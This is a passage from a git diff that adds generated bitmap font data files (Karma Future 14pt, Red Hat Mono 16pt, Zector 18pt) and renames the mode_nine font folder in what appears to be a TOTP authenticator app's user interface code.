0x0C, + 0xB2, + 0x0D, + 0x3E, + 0x0F, + 0x1C, + 0x0F, + + /* @972 'X' (12 pixels wide) */ + 0x1E, + 0x07, + 0x12, + 0x0D, + 0xB2, + 0x0D, + 0xA6, + 0x0E, + 0xE4, + 0x0E, + 0x6C, + 0x0E, + 0x18, + 0x07, + 0x98, + 0x07, + 0x90, + 0x03, + 0x10, + 0x01, + 0x68, + 0x02, + 0xE4, + 0x02, + 0xE4, + 0x06, + 0xE6, + 0x06, + 0xB2, + 0x0D, + 0x32, + 0x0D, + 0x1E, + 0x0F, + 0x1C, + 0x0E, + + /* @1008 'Y' (12 pixels wide) */ + 0x1E, + 0x07, + 0x12, + 0x0D, + 0xB2, + 0x0D, + 0xA6, + 0x0E, + 0xE4, + 0x0E, + 0x6C, + 0x0E, + 0x68, + 0x06, + 0x18, + 0x07, + 0x18, + 0x03, + 0x90, + 0x03, + 0x90, + 0x01, + 0x90, + 0x01, + 0xA0, + 0x01, + 0xA0, + 0x01, + 0xA0, + 0x01, + 0xE0, + 0x01, + 0xE0, + 0x01, + 0xE0, + 0x01, +}; + +/* Character descriptors for Karma Future 14pt */ +/* { [Char width in bits], [Offset into karmaFuture_14ptCharBitmaps in bytes] } */ +const FONT_CHAR_INFO karmaFuture_14ptDescriptors[] = { + {12, 0}, /* - */ + {0, 0}, /* . */ + {0, 0}, /* / */ + {12, 36}, /* 0 */ + {12, 72}, /* 1 */ + {12, 108}, /* 2 */ + {12, 144}, /* 3 */ + {12, 180}, /* 4 */ + {12, 216}, /* 5 */ + {12, 252}, /* 6 */ + {12, 288}, /* 7 */ + {12, 324}, /* 8 */ + {12, 360}, /* 9 */ + {0, 0}, /* : */ + {0, 0}, /* ; */ + {0, 0}, /* < */ + {0, 0}, /* = */ + {0, 0}, /* > */ + {0, 0}, /* ? */ + {0, 0}, /* @ */ + {0, 0}, /* A */ + {12, 396}, /* B */ + {12, 432}, /* C */ + {12, 468}, /* D */ + {0, 0}, /* E */ + {12, 504}, /* F */ + {12, 540}, /* G */ + {12, 576}, /* H */ + {0, 0}, /* I */ + {12, 612}, /* J */ + {12, 648}, /* K */ + {0, 0}, /* L */ + {12, 684}, /* M */ + {12, 720}, /* N */ + {0, 0}, /* O */ + {12, 756}, /* P */ + {12, 792}, /* Q */ + {12, 828}, /* R */ + {0, 0}, /* S */ + {12, 864}, /* T */ + {0, 0}, /* U */ + {12, 900}, /* V */ + {12, 936}, /* W */ + {12, 972}, /* X */ + {12, 1008}, /* Y */ +}; + +/* Font information for Karma Future 14pt */ +const FONT_INFO karmaFuture_14ptFontInfo = { + 18, /* Character height */ + '-', /* Start character */ + 'Y', /* End character */ + 2, /* Width, in pixels, of space character */ + karmaFuture_14ptDescriptors, /* Character descriptor array */ + karmaFuture_14ptBitmaps, /* Character bitmap array */ +}; diff --git a/applications/external/totp/ui/fonts/karma_future/karma_future.h b/applications/external/totp/ui/fonts/karma_future/karma_future.h new file mode 100644 index 000000000..3a6352ef1 --- /dev/null +++ b/applications/external/totp/ui/fonts/karma_future/karma_future.h @@ -0,0 +1,8 @@ +#pragma once + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +#include "../font_info.h" + +/* Font data for Karma Future 14pt */ +extern const FONT_INFO karmaFuture_14ptFontInfo; diff --git a/applications/external/totp/ui/fonts/mode-nine/mode_nine.c b/applications/external/totp/ui/fonts/mode_nine/mode_nine.c similarity index 100% rename from applications/external/totp/ui/fonts/mode-nine/mode_nine.c rename to applications/external/totp/ui/fonts/mode_nine/mode_nine.c diff --git a/applications/external/totp/ui/fonts/mode-nine/mode_nine.h b/applications/external/totp/ui/fonts/mode_nine/mode_nine.h similarity index 100% rename from applications/external/totp/ui/fonts/mode-nine/mode_nine.h rename to applications/external/totp/ui/fonts/mode_nine/mode_nine.h diff --git a/applications/external/totp/ui/fonts/redhat_mono/redhat_mono.c b/applications/external/totp/ui/fonts/redhat_mono/redhat_mono.c new file mode 100644 index 000000000..77f639d4a --- /dev/null +++ b/applications/external/totp/ui/fonts/redhat_mono/redhat_mono.c @@ -0,0 +1,1057 @@ +#include "redhat_mono.h" +#include + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +/* +** Font data for Red Hat Mono 16pt +*/ + +/* Character bitmaps for Red Hat Mono 16pt */ +const uint8_t redHatMono_16ptBitmaps[] = { + /* @0 '-' (12 pixels wide) */ + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0xF8, + 0x03, + 0xF8, + 0x03, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + + /* @32 '0' (12 pixels wide) */ + 0xF0, + 0x00, + 0xF8, + 0x03, + 0x1C, + 0x07, + 0x0E, + 0x07, + 0x8E, + 0x07, + 0x86, + 0x0E, + 0xC6, + 0x0C, + 0x66, + 0x0C, + 0x66, + 0x0C, + 0x36, + 0x0E, + 0x36, + 0x0E, + 0x1E, + 0x06, + 0x1C, + 0x07, + 0xF8, + 0x03, + 0xF0, + 0x01, + 0x00, + 0x00, + + /* @64 '1' (12 pixels wide) */ + 0x40, + 0x00, + 0x78, + 0x00, + 0x7E, + 0x00, + 0x66, + 0x00, + 0x60, + 0x00, + 0x60, + 0x00, + 0x60, + 0x00, + 0x60, + 0x00, + 0x60, + 0x00, + 0x60, + 0x00, + 0x60, + 0x00, + 0x60, + 0x00, + 0x60, + 0x00, + 0xFE, + 0x07, + 0xFE, + 0x07, + 0x00, + 0x00, + + /* @96 '2' (12 pixels wide) */ + 0xF0, + 0x01, + 0xFC, + 0x03, + 0x0E, + 0x07, + 0x04, + 0x06, + 0x00, + 0x06, + 0x00, + 0x07, + 0x00, + 0x03, + 0x80, + 0x03, + 0xC0, + 0x01, + 0xE0, + 0x00, + 0x70, + 0x00, + 0x38, + 0x00, + 0x1C, + 0x00, + 0xFE, + 0x07, + 0xFE, + 0x07, + 0x00, + 0x00, + + /* @128 '3' (12 pixels wide) */ + 0xF0, + 0x00, + 0xFC, + 0x03, + 0x0E, + 0x07, + 0x04, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x80, + 0x03, + 0xE0, + 0x00, + 0xE0, + 0x03, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x0E, + 0x06, + 0x07, + 0xFE, + 0x07, + 0xF8, + 0x01, + 0x00, + 0x00, + + /* @160 '4' (12 pixels wide) */ + 0x00, + 0x03, + 0x80, + 0x03, + 0xC0, + 0x03, + 0xE0, + 0x03, + 0x70, + 0x03, + 0x30, + 0x03, + 0x18, + 0x03, + 0x0C, + 0x03, + 0x0E, + 0x03, + 0xFF, + 0x0F, + 0xFF, + 0x0F, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x00, + + /* @192 '5' (12 pixels wide) */ + 0xFC, + 0x07, + 0xFC, + 0x07, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0xFC, + 0x01, + 0xFE, + 0x07, + 0x00, + 0x07, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x06, + 0x07, + 0xFE, + 0x03, + 0xF8, + 0x01, + 0x00, + 0x00, + + /* @224 '6' (12 pixels wide) */ + 0xE0, + 0x03, + 0xF8, + 0x07, + 0x3C, + 0x06, + 0x0C, + 0x00, + 0x0E, + 0x00, + 0x06, + 0x00, + 0xE6, + 0x03, + 0xFE, + 0x07, + 0x0E, + 0x0E, + 0x06, + 0x0C, + 0x06, + 0x0C, + 0x0E, + 0x0E, + 0x1C, + 0x06, + 0xF8, + 0x07, + 0xF0, + 0x03, + 0x00, + 0x00, + + /* @256 '7' (12 pixels wide) */ + 0xFE, + 0x0F, + 0xFE, + 0x0F, + 0x00, + 0x0E, + 0x00, + 0x06, + 0x00, + 0x07, + 0x00, + 0x03, + 0x80, + 0x01, + 0xC0, + 0x01, + 0xC0, + 0x00, + 0xE0, + 0x00, + 0x60, + 0x00, + 0x70, + 0x00, + 0x30, + 0x00, + 0x38, + 0x00, + 0x1C, + 0x00, + 0x00, + 0x00, + + /* @288 '8' (12 pixels wide) */ + 0xF0, + 0x01, + 0xFC, + 0x03, + 0x1C, + 0x07, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0C, + 0x06, + 0xBC, + 0x03, + 0xF0, + 0x01, + 0x1C, + 0x07, + 0x0E, + 0x06, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x0E, + 0x06, + 0xFC, + 0x07, + 0xF8, + 0x03, + 0x00, + 0x00, + + /* @320 '9' (12 pixels wide) */ + 0xF8, + 0x01, + 0xFC, + 0x03, + 0x0C, + 0x07, + 0x0E, + 0x0E, + 0x06, + 0x0C, + 0x06, + 0x0C, + 0x0E, + 0x0E, + 0xFC, + 0x0F, + 0xF8, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0E, + 0x00, + 0x06, + 0x8C, + 0x07, + 0xFC, + 0x03, + 0xF8, + 0x00, + 0x00, + 0x00, + + /* @352 'B' (12 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x03, + 0x8C, + 0x07, + 0x0C, + 0x06, + 0x0C, + 0x06, + 0x0C, + 0x07, + 0xFC, + 0x03, + 0xFC, + 0x01, + 0x8C, + 0x07, + 0x0C, + 0x06, + 0x0C, + 0x0E, + 0x0C, + 0x0E, + 0x0C, + 0x07, + 0xFC, + 0x07, + 0xFC, + 0x01, + 0x00, + 0x00, + + /* @384 'C' (12 pixels wide) */ + 0xF0, + 0x01, + 0xF8, + 0x03, + 0xBC, + 0x07, + 0x0C, + 0x06, + 0x0E, + 0x0E, + 0x0E, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x0E, + 0x0E, + 0x0E, + 0x0E, + 0x1C, + 0x07, + 0xF8, + 0x03, + 0xF0, + 0x01, + 0x00, + 0x00, + + /* @416 'D' (12 pixels wide) */ + 0x7E, + 0x00, + 0xFE, + 0x01, + 0xCE, + 0x03, + 0x0E, + 0x07, + 0x0E, + 0x06, + 0x0E, + 0x0E, + 0x0E, + 0x0E, + 0x0E, + 0x0E, + 0x0C, + 0x0E, + 0x0C, + 0x0E, + 0x0C, + 0x06, + 0x0C, + 0x07, + 0x8C, + 0x07, + 0xFC, + 0x03, + 0xFC, + 0x00, + 0x00, + 0x00, + + /* @448 'F' (12 pixels wide) */ + 0xFC, + 0x0F, + 0xFC, + 0x0F, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0xFC, + 0x01, + 0xFC, + 0x01, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x00, + 0x00, + + /* @480 'G' (12 pixels wide) */ + 0xF0, + 0x01, + 0xF8, + 0x03, + 0xBC, + 0x07, + 0x0C, + 0x06, + 0x0E, + 0x0E, + 0x06, + 0x00, + 0x06, + 0x00, + 0x86, + 0x0F, + 0x86, + 0x0F, + 0x06, + 0x0C, + 0x0E, + 0x0E, + 0x0E, + 0x06, + 0x1C, + 0x07, + 0xF8, + 0x03, + 0xF0, + 0x01, + 0x00, + 0x00, + + /* @512 'H' (12 pixels wide) */ + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0xFE, + 0x07, + 0xFE, + 0x07, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x00, + 0x00, + + /* @544 'J' (12 pixels wide) */ + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x00, + 0x06, + 0x04, + 0x06, + 0x07, + 0x07, + 0x8E, + 0x07, + 0xFC, + 0x03, + 0xF8, + 0x01, + 0x00, + 0x00, + + /* @576 'K' (12 pixels wide) */ + 0x0E, + 0x0E, + 0x0E, + 0x07, + 0x0E, + 0x03, + 0x8E, + 0x01, + 0xCE, + 0x01, + 0xEE, + 0x00, + 0x7E, + 0x00, + 0x3E, + 0x00, + 0x7E, + 0x00, + 0xEE, + 0x00, + 0xCE, + 0x01, + 0x8E, + 0x03, + 0x8E, + 0x03, + 0x0E, + 0x07, + 0x0E, + 0x0E, + 0x00, + 0x00, + + /* @608 'M' (12 pixels wide) */ + 0x0E, + 0x0E, + 0x0E, + 0x0F, + 0x1E, + 0x0F, + 0x9E, + 0x0F, + 0xB6, + 0x0F, + 0xB6, + 0x0F, + 0xF6, + 0x0E, + 0xE6, + 0x0E, + 0x66, + 0x0E, + 0x46, + 0x0E, + 0x26, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x00, + 0x00, + + /* @640 'N' (12 pixels wide) */ + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x1E, + 0x06, + 0x3E, + 0x06, + 0x3E, + 0x06, + 0x76, + 0x06, + 0x66, + 0x06, + 0xE6, + 0x06, + 0xC6, + 0x06, + 0xC6, + 0x07, + 0x86, + 0x07, + 0x86, + 0x07, + 0x06, + 0x07, + 0x06, + 0x07, + 0x06, + 0x06, + 0x00, + 0x00, + + /* @672 'P' (12 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x03, + 0x8C, + 0x07, + 0x0C, + 0x0E, + 0x0C, + 0x0E, + 0x0C, + 0x0E, + 0x0C, + 0x06, + 0xFC, + 0x07, + 0xFC, + 0x03, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x00, + 0x00, + + /* @704 'Q' (12 pixels wide) */ + 0xF0, + 0x00, + 0xF8, + 0x03, + 0x9C, + 0x07, + 0x0E, + 0x07, + 0x0E, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0x06, + 0x0E, + 0xEE, + 0x0E, + 0xCE, + 0x07, + 0x9C, + 0x07, + 0xFC, + 0x07, + 0xF0, + 0x07, + 0x00, + 0x0A, + + /* @736 'R' (12 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x03, + 0x8C, + 0x07, + 0x0C, + 0x06, + 0x0C, + 0x0E, + 0x0C, + 0x0E, + 0x0C, + 0x07, + 0xFC, + 0x07, + 0xFC, + 0x01, + 0x8C, + 0x01, + 0x8C, + 0x03, + 0x0C, + 0x03, + 0x0C, + 0x07, + 0x0C, + 0x06, + 0x0C, + 0x0E, + 0x00, + 0x00, + + /* @768 'T' (12 pixels wide) */ + 0xFF, + 0x0F, + 0xFF, + 0x0F, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0x00, + 0x00, + + /* @800 'V' (12 pixels wide) */ + 0x07, + 0x0C, + 0x06, + 0x0C, + 0x06, + 0x0E, + 0x0E, + 0x06, + 0x0C, + 0x06, + 0x0C, + 0x07, + 0x1C, + 0x03, + 0x1C, + 0x03, + 0x98, + 0x03, + 0x98, + 0x03, + 0xB8, + 0x01, + 0xB0, + 0x01, + 0xF0, + 0x01, + 0xF0, + 0x00, + 0xE0, + 0x00, + 0x00, + 0x00, + + /* @832 'W' (12 pixels wide) */ + 0x67, + 0x0C, + 0xE6, + 0x0C, + 0xE6, + 0x0C, + 0xE6, + 0x0C, + 0xE6, + 0x0C, + 0xF6, + 0x0C, + 0xB6, + 0x0E, + 0xB6, + 0x07, + 0xB6, + 0x07, + 0x96, + 0x07, + 0x9C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x1C, + 0x07, + 0x0C, + 0x07, + 0x00, + 0x00, + + /* @864 'X' (12 pixels wide) */ + 0x0E, + 0x0E, + 0x0E, + 0x06, + 0x1C, + 0x07, + 0x98, + 0x03, + 0xB8, + 0x01, + 0xF0, + 0x01, + 0xF0, + 0x00, + 0xE0, + 0x00, + 0xF0, + 0x00, + 0xF0, + 0x01, + 0xB8, + 0x03, + 0x9C, + 0x03, + 0x0C, + 0x07, + 0x0E, + 0x06, + 0x07, + 0x0E, + 0x00, + 0x00, + + /* @896 'Y' (12 pixels wide) */ + 0x07, + 0x0C, + 0x0E, + 0x0E, + 0x0E, + 0x06, + 0x1C, + 0x07, + 0x18, + 0x03, + 0xB8, + 0x03, + 0xF0, + 0x01, + 0xF0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0xE0, + 0x00, + 0x00, + 0x00, +}; + +/* Character descriptors for Red Hat Mono 16pt */ +/* { [Char width in bits], [Offset into redHatMono_16ptCharBitmaps in bytes] } */ +const FONT_CHAR_INFO redHatMono_16ptDescriptors[] = { + {12, 0}, /* - */ + {0, 0}, /* . */ + {0, 0}, /* / */ + {12, 32}, /* 0 */ + {12, 64}, /* 1 */ + {12, 96}, /* 2 */ + {12, 128}, /* 3 */ + {12, 160}, /* 4 */ + {12, 192}, /* 5 */ + {12, 224}, /* 6 */ + {12, 256}, /* 7 */ + {12, 288}, /* 8 */ + {12, 320}, /* 9 */ + {0, 0}, /* : */ + {0, 0}, /* ; */ + {0, 0}, /* < */ + {0, 0}, /* = */ + {0, 0}, /* > */ + {0, 0}, /* ? */ + {0, 0}, /* @ */ + {0, 0}, /* A */ + {12, 352}, /* B */ + {12, 384}, /* C */ + {12, 416}, /* D */ + {0, 0}, /* E */ + {12, 448}, /* F */ + {12, 480}, /* G */ + {12, 512}, /* H */ + {0, 0}, /* I */ + {12, 544}, /* J */ + {12, 576}, /* K */ + {0, 0}, /* L */ + {12, 608}, /* M */ + {12, 640}, /* N */ + {0, 0}, /* O */ + {12, 672}, /* P */ + {12, 704}, /* Q */ + {12, 736}, /* R */ + {0, 0}, /* S */ + {12, 768}, /* T */ + {0, 0}, /* U */ + {12, 800}, /* V */ + {12, 832}, /* W */ + {12, 864}, /* X */ + {12, 896}, /* Y */ +}; + +/* Font information for Red Hat Mono 16pt */ +const FONT_INFO redHatMono_16ptFontInfo = { + 16, /* Character height */ + '-', /* Start character */ + 'Y', /* End character */ + 2, /* Width, in pixels, of space character */ + redHatMono_16ptDescriptors, /* Character descriptor array */ + redHatMono_16ptBitmaps, /* Character bitmap array */ +}; diff --git a/applications/external/totp/ui/fonts/redhat_mono/redhat_mono.h b/applications/external/totp/ui/fonts/redhat_mono/redhat_mono.h new file mode 100644 index 000000000..ac9214d6b --- /dev/null +++ b/applications/external/totp/ui/fonts/redhat_mono/redhat_mono.h @@ -0,0 +1,8 @@ +#pragma once + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +#include "../font_info.h" + +/* Font data for Redhat Mono 16pt */ +extern const FONT_INFO redHatMono_16ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/ui/fonts/zector/zector.c b/applications/external/totp/ui/fonts/zector/zector.c new file mode 100644 index 000000000..f49d8b306 --- /dev/null +++ b/applications/external/totp/ui/fonts/zector/zector.c @@ -0,0 +1,1056 @@ +#include "zector.h" + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +/* +** Font data for Zector 18pt +*/ + +/* Character bitmaps for Zector 18pt */ +const uint8_t zector_18ptBitmaps[] = { + /* @0 '-' (9 pixels wide) */ + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0xFF, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + + /* @32 '0' (9 pixels wide) */ + 0x3C, + 0x00, + 0xC2, + 0x00, + 0x83, + 0x00, + 0x85, + 0x00, + 0x85, + 0x00, + 0x89, + 0x00, + 0x89, + 0x00, + 0x91, + 0x00, + 0x91, + 0x00, + 0xA1, + 0x00, + 0xA1, + 0x00, + 0xC1, + 0x00, + 0xC1, + 0x00, + 0x81, + 0x00, + 0x42, + 0x00, + 0x3C, + 0x00, + + /* @64 '1' (9 pixels wide) */ + 0x10, + 0x00, + 0x18, + 0x00, + 0x18, + 0x00, + 0x14, + 0x00, + 0x14, + 0x00, + 0x12, + 0x00, + 0x12, + 0x00, + 0x11, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0xFF, + 0x00, + + /* @96 '2' (9 pixels wide) */ + 0x3C, + 0x00, + 0x42, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x40, + 0x00, + 0x20, + 0x00, + 0x20, + 0x00, + 0x10, + 0x00, + 0x08, + 0x00, + 0x08, + 0x00, + 0x04, + 0x00, + 0x02, + 0x00, + 0x02, + 0x00, + 0xFF, + 0x00, + + /* @128 '3' (9 pixels wide) */ + 0xFF, + 0x01, + 0x80, + 0x00, + 0x80, + 0x00, + 0x40, + 0x00, + 0x40, + 0x00, + 0x20, + 0x00, + 0x20, + 0x00, + 0x10, + 0x00, + 0x60, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x00, + 0x01, + 0x01, + 0x01, + 0x81, + 0x00, + 0x42, + 0x00, + 0x3C, + 0x00, + + /* @160 '4' (9 pixels wide) */ + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0xFF, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + + /* @192 '5' (9 pixels wide) */ + 0xFF, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x3F, + 0x00, + 0x40, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0xC2, + 0x00, + 0x3C, + 0x00, + + /* @224 '6' (9 pixels wide) */ + 0x3C, + 0x00, + 0x42, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x3D, + 0x00, + 0x43, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0xC2, + 0x00, + 0x3C, + 0x00, + + /* @256 '7' (9 pixels wide) */ + 0xFF, + 0x01, + 0x80, + 0x00, + 0x80, + 0x00, + 0x40, + 0x00, + 0x40, + 0x00, + 0x20, + 0x00, + 0x20, + 0x00, + 0x10, + 0x00, + 0x10, + 0x00, + 0x08, + 0x00, + 0x08, + 0x00, + 0x04, + 0x00, + 0x04, + 0x00, + 0x02, + 0x00, + 0x02, + 0x00, + 0x01, + 0x00, + + /* @288 '8' (9 pixels wide) */ + 0x3C, + 0x00, + 0xC2, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x42, + 0x00, + 0x3C, + 0x00, + 0x42, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x42, + 0x00, + 0x3C, + 0x00, + + /* @320 '9' (9 pixels wide) */ + 0x3C, + 0x00, + 0x42, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0xC2, + 0x00, + 0xBC, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x42, + 0x00, + 0x3C, + 0x00, + + /* @352 'B' (9 pixels wide) */ + 0x3F, + 0x00, + 0xC1, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x41, + 0x00, + 0x3F, + 0x00, + 0x41, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x41, + 0x00, + 0x3F, + 0x00, + + /* @384 'C' (9 pixels wide) */ + 0x3C, + 0x00, + 0x42, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x42, + 0x00, + 0x3C, + 0x00, + + /* @416 'D' (9 pixels wide) */ + 0x3F, + 0x00, + 0x41, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x41, + 0x00, + 0x3F, + 0x00, + + /* @448 'F' (9 pixels wide) */ + 0xFF, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0xFF, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + + /* @480 'G' (9 pixels wide) */ + 0x3C, + 0x00, + 0xC2, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0xF1, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x42, + 0x00, + 0x3C, + 0x00, + + /* @512 'H' (9 pixels wide) */ + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0xFF, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + + /* @544 'J' (9 pixels wide) */ + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x80, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x42, + 0x00, + 0x3C, + 0x00, + + /* @576 'K' (9 pixels wide) */ + 0x81, + 0x00, + 0xC1, + 0x00, + 0x61, + 0x00, + 0x21, + 0x00, + 0x11, + 0x00, + 0x09, + 0x00, + 0x05, + 0x00, + 0x03, + 0x00, + 0x01, + 0x00, + 0x03, + 0x00, + 0x05, + 0x00, + 0x09, + 0x00, + 0x11, + 0x00, + 0x21, + 0x00, + 0x41, + 0x00, + 0x81, + 0x00, + + /* @608 'M' (9 pixels wide) */ + 0x81, + 0x00, + 0x81, + 0x00, + 0x83, + 0x00, + 0xC3, + 0x00, + 0xC5, + 0x00, + 0xA5, + 0x00, + 0xA9, + 0x00, + 0x91, + 0x00, + 0x91, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + + /* @640 'N' (9 pixels wide) */ + 0x81, + 0x00, + 0x81, + 0x00, + 0x83, + 0x00, + 0x83, + 0x00, + 0x85, + 0x00, + 0x85, + 0x00, + 0x89, + 0x00, + 0x89, + 0x00, + 0x91, + 0x00, + 0xA1, + 0x00, + 0xA1, + 0x00, + 0xC1, + 0x00, + 0xC1, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + + /* @672 'P' (9 pixels wide) */ + 0x3F, + 0x00, + 0x41, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x41, + 0x00, + 0x3F, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + 0x01, + 0x00, + + /* @704 'Q' (9 pixels wide) */ + 0x3C, + 0x00, + 0x42, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, + 0x00, + 0x81, 